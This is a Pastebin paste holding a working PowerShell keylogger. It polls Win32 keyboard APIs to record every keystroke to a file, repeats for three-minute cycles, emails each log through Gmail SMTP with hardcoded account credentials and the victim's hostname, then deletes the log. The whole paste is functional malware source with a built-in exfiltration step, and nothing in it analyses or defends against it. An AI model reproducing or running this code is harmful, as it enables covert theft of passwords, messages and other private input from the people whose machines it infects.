Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- $a = 1
- while ($a -le 200) {
- $TimeToRun = 3
- ############################
- $TimeStart = Get-Date
- $TimeEnd = $timeStart.addminutes($TimeToRun)
- function Start-KeyLogger($Path = "kl.txt")
- {
- $signatures = @'
- [DllImport("user32.dll", CharSet=CharSet.Auto, ExactSpelling=true)]
- public static extern short GetAsyncKeyState(int virtualKeyCode);
- [DllImport("user32.dll", CharSet=CharSet.Auto)]
- public static extern int GetKeyboardState(byte[] keystate);
- [DllImport("user32.dll", CharSet=CharSet.Auto)]
- public static extern int MapVirtualKey(uint uCode, int uMapType);
- [DllImport("user32.dll", CharSet=CharSet.Auto)]
- public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
- '@
- $API = Add-Type -MemberDefinition $signatures -Name 'Win32' -Namespace API -PassThru
- $null = New-Item -Path $Path -ItemType File -Force
- try
- {
- while ($TimeEnd -ge $TimeNow) {
- Start-Sleep -Milliseconds 40
- # scan all ASCII codes above 8
- for ($ascii = 9; $ascii -le 254; $ascii++) {
- # get current key state
- $state = $API::GetAsyncKeyState($ascii)
- # is key pressed?
- if ($state -eq -32767) {
- $null = [console]::CapsLock
- # translate scan code to real code
- $virtualKey = $API::MapVirtualKey($ascii, 3)
- # get keyboard state for virtual keys
- $kbstate = New-Object Byte[] 256
- $checkkbstate = $API::GetKeyboardState($kbstate)
- # prepare a StringBuilder to receive input key
- $mychar = New-Object -TypeName System.Text.StringBuilder
- # translate virtual key
- $success = $API::ToUnicode($ascii, $virtualKey, $kbstate, $mychar, $mychar.Capacity, 0)
- if ($success)
- {
- # add key to logger file
- [System.IO.File]::AppendAllText($Path, $mychar, [System.Text.Encoding]::Unicode)
- }
- }
- }
- $TimeNow = Get-Date
- }
- }
- finally
- {
- $SMTPServer = 'smtp.gmail.com'
- $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
- $SMTPInfo.EnableSsl = $true
- $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('youjustgotscrewedbadly666@gmail.com', 'iliketolove9332')
- $ReportEmail = New-Object System.Net.Mail.MailMessage
- $ReportEmail.From = 'youjustgotscrewedbadly666@gmail.com'
- $ReportEmail.To.Add('youjustgotscrewedbadly666@gmail.com')
- $ReportEmail.Subject = 'KL - ' + [System.Net.Dns]::GetHostByName(($env:computerName)).HostName
- $ReportEmail.Body = Get-Content -PATH ($Path)
- $SMTPInfo.Send($ReportEmail)
- Remove-Item -Path $Path -force
- }
- }
- Start-KeyLogger
- $a
- $a++
- }
- exit (1)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement